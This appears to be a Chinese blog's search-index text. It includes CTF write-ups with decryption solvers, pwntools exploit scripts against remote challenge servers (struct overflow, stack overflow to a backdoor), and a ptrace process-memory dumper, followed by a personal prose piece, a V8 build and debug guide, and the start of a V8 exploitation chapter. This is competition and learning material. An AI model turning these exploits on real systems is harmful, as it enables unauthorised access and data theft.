'); } putchar('\\n');}int main(void){ unsigned char a91tNhn90uTlt1l[] = { 0x5B, 0x40, 0x39, 0x31, 0x54, 0x25, 0x4E, 0x68, 0x6E, 0x7B, 0x39, 0x30, 0x55, 0x40, 0x74, 0x6C, 0x54, 0x25, 0x31, 0x6C, 0x54, 0x24, 0x64, 0x70, 0x68, 0x50, 0x68, 0x66, 0x69, 0x40, 0x39, 0x31, 0x4F, 0x00 }; for (int i = 0; i < 33; i += 4) { a91tNhn90uTlt1l[i] ^= 0xC; a91tNhn90uTlt1l[i + 1] ^= 0x17; }//You_can_take_me_with_you //CAT_IN_X_19_Y_39 //_CATLOVE_OR_LIKE // LIKE_OR_LOVE_CAT //EKIL_RO_EVOLTAC_ //CatCTF{You_can_take_me_with_you_CAT_IN_X_19_Y_39_} //CAT_IN_X_19_Y_39_LIKE_OR_LOVE_CAT u8 i, len; u8 encode_Result[50] = { 0 }; //定义加密输出缓存区 u8 decode_Result[50] = { 0 }; //定义解密输出缓存区 unsigned char key[] = "wuwuwuyoucatchme"; u8 Data_plain[16] = { 0xB6,0x75,0xE1,0x79,0x70,0xC1,0x27,0x48,9,0xB,0xB6,0x4D,2,0xBC,6,0x19 }; len = 16 * (sizeof(Data_plain) / 16) + 16 * ((sizeof(Data_plain) % 16) ? 1 : 0); decode_fun(len, key, Data_plain, decode_Result); printf("解密后数据是:\\n"); for (i = 0; i < len; i++) printf("%x ", *(decode_Result + i)); system("pause"); return 0;}\n\nRC5#include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> int w = 32;//字长 32bit 4字节 int r = 12;//12;//加密轮数12 int b = 16;//主密钥(字节为单位8bit)个数 这里有16个int t = 26;//2*r+2=12*2+2=26 int c = 4; //主密钥个数*8/w = 16*8/32 typedef unsigned long int FOURBYTEINT;//四字节 typedef unsigned short int TWOBYTEINT;//2字节 typedef unsigned char BYTE;void InitialKey(unsigned char* KeyK, int b);void generateChildKey(unsigned char* KeyK, FOURBYTEINT* ChildKeyS);void Encipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S);void Decipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S);void InitialKey(unsigned char* KeyK, int b){ int i, j; int intiSeed = 3; for (i = 0; i < b; i++) { KeyK[i] = 0; } KeyK[0] = intiSeed; printf("初始主密钥(16字节共128位):%.2lx ", KeyK[0]); for (j = 1; j < b; j++) { KeyK[j] = (BYTE)((int)pow(3, j) % (255 - j)); printf("%.2X ", KeyK[j]); } printf("\\n");}void generateChildKey(unsigned char* KeyK, FOURBYTEINT* ChildKeyS){ int PW = 0xB7E15163;//0xb7e1; int QW = 0x9E3779B9;//0x9e37;//genggai int i; int u = w / 8;// b/8; FOURBYTEINT A, B, X, Y; FOURBYTEINT L[4]; //c=16*8/32 A = B = X = Y = 0; ChildKeyS[0] = PW; printf("\\n初始子密钥(没有主密钥的参与):\\n%.8X ", ChildKeyS[0]); for (i = 1; i < t; i++) //t=26 { if (i % 13 == 0)printf("\\n"); ChildKeyS[i] = (ChildKeyS[i - 1] + QW); printf("%.8X ", ChildKeyS[i]); } printf("\\n"); for (i = 0; i < c; i++) { L[i] = 0; } for (i = b - 1; i != -1; i--) { L[i / u] = (L[i / u] << 8) + KeyK[i]; } printf("\\n把主密钥变换为4字节单位:\\n"); for (i = 0; i < c; i++) { printf("%.8X ", L[i]); } printf("\\n\\n"); for (i = 0; i < 3 * t; i++) { X = ChildKeyS[A] = ROTL(ChildKeyS[A] + X + Y, 3); A = (A + 1) % t; Y = L[B] = ROTL(L[B] + X + Y, (X + Y)); B = (B + 1) % c; } printf("生成的子密钥(初始主密钥参与和初始子密钥也参与):"); for (i = 0; i < t; i++) { if (i % 13 == 0)printf("\\n"); printf("%.8X ", ChildKeyS[i]); } printf("\\n\\n");}void Encipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S){ FOURBYTEINT X, Y; int i, j; for (j = 0; j < NoOfData; j += 2) { X = In[j] + S[0]; Y = In[j + 1] + S[1]; for (i = 1; i <= r; i++) { X = ROTL((X ^ Y), Y) + S[2 * i]; Y = ROTL((Y ^ X), X) + S[2 * i + 1]; } Out[j] = X; Out[j + 1] = Y; //密文 }}void Decipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S){ int i = 0, j; FOURBYTEINT X, Y; for (j = 0; j < NoOfData; j += 2) { X = In[j]; Y = In[j + 1]; for (i = r; i > 0; i--) { Y = ROTR(Y - S[2 * i + 1], X) ^ X; X = ROTR(X - S[2 * i], Y) ^ Y; } Out[j] = X - S[0]; Out[j + 1] = Y - S[1]; }}int main(void){ int k; FOURBYTEINT ChildKeyS[2 * 12 + 2]; FOURBYTEINT ChildKey1[26]; BYTE KeyK[16]; FOURBYTEINT Source[] = { 0x936AB12C,0xED8330B5,0xEE5C5E88,0xE10B508C }; FOURBYTEINT Dest[NoOfData]; FOURBYTEINT Data[NoOfData] = { 0 }; InitialKey(KeyK, b); generateChildKey(KeyK, ChildKeyS); printf("加密以前的明文:"); for (k = 0; k < NoOfData; k++) { if (k % 2 == 0) { printf(" "); } printf("%.8X ", Source[k]); } printf("\\n"); for (k = 0; k < 26; k++) { ChildKey1[k] = ChildKeyS[k]; } Decipher(Source, Data, ChildKey1); //解密 printf("解密以后的明文:"); char* flag = (char*)Data; for (int k = 0; k < 16; k++) { printf("%c", flag[k]); }}\n\n就是发现还有一串 base64 微改之后的加密,似乎是调试的时候才会出现,不过没发现有什么用,白解了半天,呜呜。\nReadingSectionllvm ir 写的,直接安装 llvm 的组件后把 ir 编译成 .o 文件就可以拿 IDA 读了。\n打开一看发现是 TEA,另外还有一个异或:\n\n#include <stdio.h> #include <stdint.h> void decrypt(uint32_t * v, uint32_t * k) { uint32_t v0 = v[0], v1 = v[1], sum = 0xCA7C7F00*28, i; /* set up */ uint32_t delta = 0xCA7C7F00; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 28; i++) { /* basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /* end cycle */ v[0] = v0; v[1] = v1;}int main(){ unsigned char _L__const__Z5checkv_rightcat[] = { 0xAA, 0x7D, 0x07, 0x7D, 0xB1, 0xF7, 0x80, 0x71, 0xDA, 0xAF, 0x23, 0xE5, 0x10, 0x07, 0x58, 0x57, 0x1E, 0xF7, 0x7D, 0x71, 0xE6, 0x78, 0x74, 0x56, 0x9B, 0xC0, 0x53, 0x11, 0xF3, 0x39, 0x31, 0x2E }; uint32_t k[] = { 0x18BC8A17 ,0x29D3CE1E ,0x42F740E3 ,0x199C7F4A }; decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat)), k); decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+2, k); decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+4, k); decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+6, k); for (int i = 30; i >= 0; i--) { _L__const__Z5checkv_rightcat[i] ^= _L__const__Z5checkv_rightcat[i + 1]; } printf("%s", _L__const__Z5checkv_rightcat);}\n\nThe cat did it没啥头绪,纯考猜。看他问概率多少,直接猜了 0%,然后就对了,反正我自己也没搞明白。\nPWNvmbyhrpDEBUG 模式里有一个 charge_file 可以从外面读文件:\n\n因此关键就是进入 DEBUG 模式了。发现需要 users 和 users+4 都为 0 才能进,转而发现创建文件的函数:\n__int64 __fastcall create_file(__int64 a1){ __int64 result; // rax int v2; // ebx result = check_repeat(a1); if ( result ) { *(&unk_204130 + 4 * file_count) = global_fd; *(&unk_204128 + 4 * file_count) = a1; *(&HF + 4 * file_count) = 1000LL; v2 = file_count; *(&unk_204138 + 4 * v2) = malloc(0x1000uLL); printf("FILE CONTENT: "); read(0, *(&unk_204138 + 4 * file_count), 0x1000uLL); deleEnter(*(&unk_204138 + 4 * file_count)); ++file_count; result = ++global_fd; } return result;}\n\n没有检查数量,因此可以创建很多文件去把结构体溢出到 user。\n然后注意到 HRP_OPEN 可以用输入去覆盖相应偏移处的值:\nunsigned __int64 __fastcall HRP_OPEN(int a1, int a2){ int i; // [rsp+1Ch] [rbp-24h] char v4[24]; // [rsp+20h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; i < file_count; ++i ) { if ( a1 == *(&unk_204130 + 4 * i) ) { *(&HF + 4 * i) = a2;//<------这里可以覆盖 return __readfsqword(0x28u) ^ v5; } } clearScreen(); puts("NOT FOUND,PLEASE NEW FILE"); printf("%s", "FILE NAME: "); __isoc99_scanf("%16s[^\\n ]", v4); getchar(); deleEnter(v4); create_file(v4); return __readfsqword(0x28u) ^ v5;}\n\n所以思路就是创建很多文件,然后用汇编去覆盖 users 变量,最后进 DEBUG 模式把文件读进来,然后用 cat 拿出来:\nfrom pwn import *#p=process("./HRPVM")p=remote("223.112.5.156",60024)#gdb.attach(p,"b*$rebase(0x2DFF)\\nb*$rebase(0x2950)\\nb*$rebase(0x25B2)")p.recvuntil("NAME:")name="HRPHRP"password="PWNME"p.sendline(name)p.recvuntil("PASSWORD:")p.sendline(password)p.recvuntil("[+]HOLDER:")p.sendline("aaaaaaaaaaaaaaaa")def send_res(payload): p.recvuntil("HRP-MACHINE$ ") p.sendline(payload)def send_res2(payload): p.recvuntil("[DEBUGING]root#") p.sendline(payload)payload="file"for i in range(30): send_res("file") p.recvuntil("FILE NAME: ") p.sendline("a"+str(i)) p.recvuntil("FILE CONTENT: ") p.sendline("mov rdi,36;mov rsi,1001;call open,2;")send_res("file")p.recvuntil("FILE NAME: ")p.sendline("a30")p.recvuntil("FILE CONTENT: ")p.sendline("mov rdi,35;mov rsi,0;call open,2;")send_res("file")p.recvuntil("FILE NAME: ")p.sendline("a31")p.recvuntil("FILE CONTENT: ")p.sendline("mov rdi,35;mov rsi,0;call open,2;")send_res("./a30")send_res("DEBUG")send_res2("file input")p.recvuntil("FILE NAME:")p.sendline("flag")send_res2("mmap")p.recvuntil("EXPEND:")p.sendline(str(0x400000))send_res2("exit")send_res("reboot")p.recvuntil("NAME:")p.sendline(name)p.recvuntil("PASSWORD:")p.sendline(password)p.recvuntil("[+]HOLDER:")p.sendline(p64(0x400000))send_res("./a0")send_res("cat flag")p.interactive()\n\n不过有一个小问题,当我把 flag 读进来之后用 exit 返回用户模式时,直接 cat 会引发崩溃。根据崩溃报告发现,似乎会正好引用 HOLDER 处的内存。因此 DEBUG 下还得调用 mmap 开辟一下空间,然后 reboot 设置 HOLDER 为开辟出来的可以读写的内存,这样才不会崩溃。\nbitcoin栈溢出,有后门,直接跳过去就是了,没啥好说的:\nfrom pwn import *#p=process("./pwn")p=remote("223.112.5.156",57023)#gdb.attach(p,"set follow-fork-mode parent\\nb*0x40223B")p.recvuntil("CTF!")p.sendline("\\n")p.recvuntil("Name: ")p.sendline("aaa")p.recvuntil("Password: ")payload=b"a"*(64)+p64(0x06092C0+0x420)+p64(0x404EA4)p.sendline(payload)p.interactive()\n\ninjection2.0whoami 一看是 root,搜了一下似乎用 ptrace 能直接去读取其他进程的内存,于是就把整个栈全都读出来就可以了:\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <sys/types.h>#include <sys/ptrace.h>#include <sys/wait.h>#include <errno.h>int main(int argc, char *argv[]){ off_t start_addr; pid_t pid; char s1[]="131"; start_addr=0x7ffc08baf000; pid = atoi(s1); printf("%lx\\n",start_addr); int ptrace_ret; ptrace_ret = ptrace(PTRACE_ATTACH, pid, NULL, NULL); if (ptrace_ret == -1) { fprintf(stderr, "ptrace attach failed.\\n"); perror("ptrace"); return -1; } if (waitpid(pid, NULL, 0) == -1) { fprintf(stderr, "waitpid failed.\\n"); perror("waitpid"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } int fd; char path[256] = {0}; sprintf(path, "/proc/%d/mem", pid); fd = open(path, O_RDWR); if (fd == -1) { fprintf(stderr, "open file failed.\\n"); perror("open"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } off_t off; off = lseek(fd, start_addr, SEEK_SET); if (off == (off_t)-1) { fprintf(stderr, "lseek failed.\\n"); perror("lseek"); ptrace(PTRACE_DETACH, pid, NULL, NULL); close(fd); return -1; } else{ printf("lseek sucess\\n"); } unsigned char *buf = (unsigned char *)malloc(0x21000); int rd_sz; while(rd_sz=read(fd,buf,0x21000)){ if(rd_sz<10){ perror("read"); break; } printf("%lx\\n",rd_sz); for(int i=0;i<0x21000;i++){ printf("%c",buf[i]); } printf("\\n"); ptrace(PTRACE_DETACH, pid, NULL, NULL); free(buf); close(fd); return 0; }}\n\n不过直接读出来的东西似乎显示的很不完全,我一度以为自己的方法不行,最后直接把内容 base64 后拉到本地再解回去看了,然后就发现还是有的:\n\n\nwelcome_CAT_CTF这题我是直接拿 gdb 搞定的,没写 exp。题目给了服务端和客户端,然后分数是储存在客户端的,所以直接用 gdb 改内存设成大数,然后直接改寄存器跳转执行后门函数就可以了(忘记截图了)\nWEBez_js访问一下那个 game.js 就发现里面写了 flag 的路径,然后直接过去就行了:\n\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Chaconne","url":"/2021/07/12/chaconne/","content":" 她走了,走的毫无征兆。又或许,我早就知道会有这么一天了,只是我们谁都没料到,这一天会来的这么早。一切都如往常一样,青藤仍旧攀进窗沿,昙花今天也未盛开,只有她不在了。\n 我知道她的绝望,也知道她的无助,但即便如此,我也仍然无能为力,又或许,是我仍然无动于衷。我甚至能够直视她所有的痛苦,亦能够如我所见的那样存活,但我就像毫无选择的孩童那样,只能看着她沉沦,就同过去的我一样。这无疑是傲慢而又无耻的,因为我本以为一切都会如我所希望的那样发展,哪怕这就像是趁人之危。可我却一败涂地,一切都没能如愿,她仍旧离开了,再也回不来了。迟早有一天,我会忘掉这一切,忘掉所有该被珍视的记忆,也忘掉所有被我珍藏的宝物;健忘的人从来没有珍视的过往,所有的过去都同脊岩那样风化,沦为我脚下的齑粉,褪去原本的颜色,最后被我当作垃圾舍弃。但似乎一切又都如她所期望的那样,我将不再记得有关她的任何事。我似乎不会再痛苦了,却也因此忘记了自己为何心有不甘,那久久盘旋的苦涩又为何物。那我该作何反应呢?理智几乎麻痹了神经,哪怕我本就忧郁而悲伤,却也不会再添加任何杂质;却又似催促一样,告诉她我毫不介意。\n 我……我没能救她。哪怕我从来不将活着视为一种救赎,却也不会把那缺乏美感的死亡当作拯救。而即便如此,我也希望她能活下来,哪怕她已经和那时候的她大相径庭,正如我当时的苟且。我本期望她能得救的,正如我期望她能秉持她一如既往的正确一样。但她却被自己的正确压垮了,被所有错误和凶恶迫害了。我读过她的诉状,我听过她的控诉,用我卑鄙而肮脏的话术骗取了她的信任,让她能够向我倾诉。她曾问我是谁,“稻草人”,我是这样回答她的,正如草人那样的虚妄之物,我不过是个伪物,是麦田里装作人类的赝品罢了。她也曾问我出于何种目的对她如此友善,可答案就连我自己都不知道。或许是为了满足我那散发恶臭的伪善,又或许是为了见证戏剧性的颠转,也可能只是因为常年的孤独有了同伴,又或是……可它们无疑都是真实的,哪怕它们的宿主是虚伪的稻草人。这些混乱的自我杂揉在一起,本该明朗的目的也变得混浊,变成口中断断续续的措辞和闪躲的话语。\n 那么事到如今,我又在做什么?我像是在纪念她,装作为她的离去而痛哭流涕的样子。这是她一生都未曾见过的模样,是目前的我所能够展现出的最为脆弱、也最为痛苦的模样。我一反常态地不再维持理性地外貌,仍由另外一个自己在她的坟前发疯般地恸哭,任凭泪水浸湿稻草,苦涩与麻木的回甘翻涌于胃袋。时隔一年,我变回了那个无知而又懦弱的自己,不再装作无所不知,也不再装出一幅谦虚的皮囊,被过去的傲慢和偏激寻回,也拾回了偏见和歧视。我喝得烂醉,倒在街角的灌木丛背后,说着那些她最不愿意听到的,盛满卑劣的话语。我又开始对那些不了解的政见评头论足,再一次为了地上的五角钱和乞丐大打出手,邋遢而满脸胡茬,又一次成了她最无法想象的那种人。\n 她实在太容易信任别人了,对他人的善意毫不怀疑。尽管她从来没有这么觉得,但在我眼里,她就是这样的人,天真而又浪漫,全然不知该如何辨别善恶。我那甚至不足百余元的善意便轻而易举地打动了她,让她完完全全地信任我,将我所说的每一句话都当作真理。她肯定是信任的天才,直到最后一刻也仍然相信我说的每一句话,哪怕她已经连自己都不再相信了。\n 她无数次地向我寻求答案,我也无数次地肯定她的选择,但她仍然对自己的行为、对自己的选择抱有深深的怀疑。我以为我能救她的。我无数次对她说着同样的话,“你没有做错任何事”,但这一次,就连我引以为傲的话术也不再起效了。唯独在这件事上,哪怕我只是想要让她理解真实,她也没能相信。是因为我所说的每一句话都成了谎言,因此真实才无法从我口中吐露吗?还是因为说谎已经成为了习惯,以至于就连真相都被歪曲成了其他模样?她仍然信任我,可她却无法相信她自己了。她开始信任周身的错误,开始以为那些扭曲的逻辑才是真理;她怀疑自己的正确,甚至放弃自己的正确,无论我如何肯定她的作为,她也无法认同自己。\n 在这一次又一次的轮回里,她越陷越深,现实也变得愈发沉重,而我的病症也愈演愈烈。终于,在那个梅雨泛滥的季节,在那个谩骂声漫溢的极昼,在那个沉默且压抑到几乎窒息的汛期,我再也找不到她了。她没能做出任何反抗,也再没有任何气力去抗争了。哪怕我就在她身边,却没能成为她的力量。她需要的不是毫无作用的稻草人,更不是油嘴滑舌的欺诈师。我本不该出现在她身边的。我早该知道,她最需要的是风车,又或是奔向风车的骑士,而不是我。仅凭一个虚无的稻草人,根本救不了她。\n 我只能看着她被压垮,就像过去的我那样。可她死在了无垠的荒原上,那里既没有麦田也没有极光。稻草人今天守在她的墓旁,稻草人明天守在她的墓旁,只是总有一天,稻草人会忘记这些往事。他会离开这片荒原,再一次与乌鸦作伴,用他最擅长的骗术把这些往事掩盖,藏到极地的冰窟里,埋在昏黑的极夜里。直到极光来的时候,一如我没能救她,我也走失在那片荒原,我也坠向深空,我也……\n 毫无征兆的,稻草人烧起来了;如约而至般,我……没能救她。\n插画ID : 90581793\n","categories":["Story"]},{"title":"Chose me JavaScript-V8 /Chapter1-环境配置","url":"/2022/07/06/chose-me-javascript-v8-chapter1/","content":"写在前面以下步骤一般情况下只在用户能够正常访问外网时成立。大致来说,您需要为自己的设备和 git 配置代理,然后才能够顺利完成以下步骤,但出于某些原因,笔者不便在这里过多赘述配置代理的步骤,还望读者见谅\n运行环境step 0似乎现在去 clone 那个 depot_tools 的仓库里自带了 ninja,有需要这一步的师傅可以在后续步骤中遇到报错时再回来补\ngit clone https://github.com/ninja-build/ninja.gitcd ninja && ./configure.py --bootstrap && cd ..echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc# /path/to/ninja改成ninja的目录\n\nstep 1安装依赖并克隆仓库,设置环境变量后拉取 v8 的代码但考虑到中英文问题和一些网络代理问题,这里不安装字体依赖,有需要的师傅可以试着去掉该参数\nsudo apt install bison cdbs curl flex g++ git python vim pkg-configgit clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitecho 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc# /path/to/depot_tools改成depot_tools的目录fetch v8./v8/build/install-build-deps.sh --no-chromeos-fonts\n\nstep 2写一个脚本去跑编译,方便以后直接换版本编译:\n#!/bin/bashVER=$1 if [ -z $2 ]; then NAME=$VERelse NAME=$2ficd /path/depot_tools/v8# /path/depot_tools/v8 换成自己的路径git reset --hard $VERgclient sync -Dgn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu ="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'ninja -C out/x64_$NAME.release d8\n\ntime ./build.sh "9.6.180.6"\n\n编译效率一般取决于自己的设备性能\n调试环境将 “v8/tools/gdbinit” 保存到自己惯用的目录下,这里称之为 “path”,然后将路径写到 .gdbinit 下:\ncp v8/tools/gdbinit /path/gdbinit_v8cat ~/.gdbinit#source /home/tokameine/Desktop/env/pwndbg/gdbinit.py#source /path/gdbinit_v8\n\n做完以后,就能够在源代码中插入如下代码进行调试了:\n%DebugPrint(x); 打印变量 x 的相关信息%SystemBreak(); 抛出中断,令 gdb 在此处断点\n\n\n但这两条代码并非原有的语法,在执行时需添加参数 “–allow-natives-syntax”,否则会提示 “SyntaxError: Unexpected token ‘%’”\n\n调试样本就用一个简单的 demo 测试一下调试能够正常进行:\n//demo.js%SystemBreak();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();\n\n\n我们暂时不用在意这段代码在做什么,这无关紧要,我们现在只想知道调试环境是否能够正常工作而已,所以读者只需要知道有这么个变量名为 f 的变量即可\n\n在 v8/out/x64_$name.release 目录下可以找到二进制程序 d8,它才是解析执行 js 代码的引擎,通过 gdb 去调试该程序,并将 demo.js 作为参数传给它\n$ gdb d8pwndbg> r --allow-natives-syntax /home/tokameine/Desktop/demo/test.js pwndbg> c\n\n可以看到 gdb 正常发生了中断,但由于我们调试的并非 js 脚本,所以自然不可能顺着脚本中断,而是在 d8 的某行机器码处中断了,此时它会打印出数组 f 的数据:\npwndbg> cContinuing.DebugPrint: 0x2bdb081d370d: [Function] in OldSpace - map: 0x2bdb08204919 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bdb081c3b4d <JSFunction (sfi = 0x2bdb08144165)> - elements: 0x2bdb0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2bdb081d36e9 <SharedFunctionInfo js-to-wasm::i> - name: 0x2bdb080051cd <String[1]: #0> - builtin: GenericJSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2bdb081c3649 <NativeContext[252]> - code: 0x2bdb0018d801 <Code BUILTIN GenericJSToWasmWrapper> - Wasm instance: 0x2bdb081d35b9 <Instance map = 0x2bdb08207399> - Wasm function index: 0 - properties: 0x2bdb0800222d <FixedArray[0]> - All own properties (excluding elements): { 0x2bdb080048f1: [String] in ReadOnlySpace: #length: 0x2bdb08142339 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004a21: [String] in ReadOnlySpace: #name: 0x2bdb081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004029: [String] in ReadOnlySpace: #arguments: 0x2bdb0814226d <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004245: [String] in ReadOnlySpace: #caller: 0x2bdb081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI0x2bdb08204919: [Map] - type: JS_FUNCTION_TYPE - instance size: 28 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - callable - back pointer: 0x2bdb080023b5 <undefined> - prototype_validity cell: 0x2bdb08142405 <Cell value= 1> - instance descriptors (own) #4: 0x2bdb081d0445 <DescriptorArray[4]> - prototype: 0x2bdb081c3b4d <JSFunction (sfi = 0x2bdb08144165)> - constructor: 0x2bdb08002235 <null> - dependent code: 0x2bdb080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0DebugPrint: 0x2bdb081d35b9: [WasmInstanceObject] in OldSpace - map: 0x2bdb08207399 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bdb08048079 <Object map = 0x2bdb08207af1> - elements: 0x2bdb0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x2bdb08049cbd <Module map = 0x2bdb08207231> - exports_object: 0x2bdb08049e71 <Object map = 0x2bdb08207bb9> - native_context: 0x2bdb081c3649 <NativeContext[252]> - memory_object: 0x2bdb081d35a1 <Memory map = 0x2bdb08207641> - table 0: 0x2bdb08049e41 <Table map = 0x2bdb082074b1> - imported_function_refs: 0x2bdb0800222d <FixedArray[0]> - indirect_function_table_refs: 0x2bdb0800222d <FixedArray[0]> - managed_native_allocations: 0x2bdb08049df9 <Foreign> - memory_start: 0x7f8f28000000 - memory_size: 65536 - imported_function_targets: 0x55b1281580e0 - globals_start: (nil) - imported_mutable_globals: 0x55b128158210 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x2bdb0800222d <FixedArray[0]> - All own properties (excluding elements): {}0x2bdb08207399: [Map] - type: WASM_INSTANCE_OBJECT_TYPE - instance size: 240 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x2bdb080023b5 <undefined> - prototype_validity cell: 0x2bdb08142405 <Cell value= 1> - instance descriptors (own) #0: 0x2bdb080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)> - prototype: 0x2bdb08048079 <Object map = 0x2bdb08207af1> - constructor: 0x2bdb081d242d <JSFunction Instance (sfi = 0x2bdb081d2409)> - dependent code: 0x2bdb080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0\n\n另外,v8提供的gdbinit中额外支持了一条 “job” 命令,它可以用来打印对象的相关信息,这里我们可以用数组 a 进行测试:\npwndbg> job 0x2bdb081d370d0x2bdb081d370d: [Function] in OldSpace - map: 0x2bdb08204919 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bdb081c3b4d <JSFunction (sfi = 0x2bdb08144165)> - elements: 0x2bdb0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2bdb081d36e9 <SharedFunctionInfo js-to-wasm::i> - name: 0x2bdb080051cd <String[1]: #0> - builtin: GenericJSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2bdb081c3649 <NativeContext[252]> - code: 0x2bdb0018d801 <Code BUILTIN GenericJSToWasmWrapper> - Wasm instance: 0x2bdb081d35b9 <Instance map = 0x2bdb08207399> - Wasm function index: 0 - properties: 0x2bdb0800222d <FixedArray[0]> - All own properties (excluding elements): { 0x2bdb080048f1: [String] in ReadOnlySpace: #length: 0x2bdb08142339 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004a21: [String] in ReadOnlySpace: #name: 0x2bdb081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004029: [String] in ReadOnlySpace: #arguments: 0x2bdb0814226d <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004245: [String] in ReadOnlySpace: #caller: 0x2bdb081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI\n\n其参数是之前 DebugPrint 打印出的地址,可以看见,该指令将对象的各个信息都打印出来了,但我们可以注意到,这个地址的最低位似乎没有四字节对齐,其真实地址是 0x2bdb081d370d-1,但使用 job 时需要将地址加一来区分对象类型和数字类型。如果给出的参数是真实地址,大致会像下面这样:\npwndbg> job 0x2bdb081d370d-1Smi: 0x40e9b86 (68066182)# 0x40e9b86 * 2 = 81D370D-1\n\n\nv8 储存数据的方式有些特别,它会让这些整数都乘以二,也包括数组的长度,因此当 job 认为该地址是一个数字类型时,会将其除以二后的值当作本来的值\n\n可以通过其他查看真正的内存数据:\npwndbg> x/20xw 0x2bdb081d370d-10x2bdb081d370c: 0x08204919 0x0800222d 0x0800222d 0x081d36e90x2bdb081d371c: 0x081c3649 0x0814244d 0x0018d801 0x080026c10x2bdb081d372c: 0x00000008 0x00000000 0x00000002 0x0800528d0x2bdb081d373c: 0x08207bbb 0x00000000 0x00000000 0x000000000x2bdb081d374c: 0x00000000 0x00000000 0x00000000 0x00000000\n\n可以发现,v8 对地址数据进行了压缩储存,由于高 32bit 的地址完全相同,每个地址只会存放其低 32bit 的数据\n参考\nhttps://nobb.site/2021/12/01/0x69/\nhttps://mem2019.github.io/jekyll/update/2019/07/18/V8-Env-Config.html\n\n\n插画ID:95370072\n","categories":["Note","JavaScript-V8"],"tags":["v8"]},{"title":"Chose me JavaScript-V8 /Chapter2-通用利用链","url":"/2022/07/06/chose-me-javascript-v8-chapter2/","content":"首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?\n一般在做 CTF 的时候,往往希望让远程执行 system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0) 又或者 ORW ,除了最后一个外,往往一般是希望能够做到远程命令执行,所以一般通过 v8 漏洞也希望能够做到这一点。一般来说,我们希望能往里面写入shellcode,毕竟栈溢出之类的操作在 v8 下似乎不太可能完成。\nWASM的利用既然要写 shellcode,就需要保证内存中存在可读可写可执行的内存段了。在没有特殊需求的情况下,程序不可能特地开辟一块这样的内存段供用户使用,但在如今支持 WASM(WebAssembly) 的浏览器版本中,一般都需要开辟一块这样的内存用以执行汇编指令,回想上一节给出的测试代码:\n%SystemBreak();var wasmCode = new 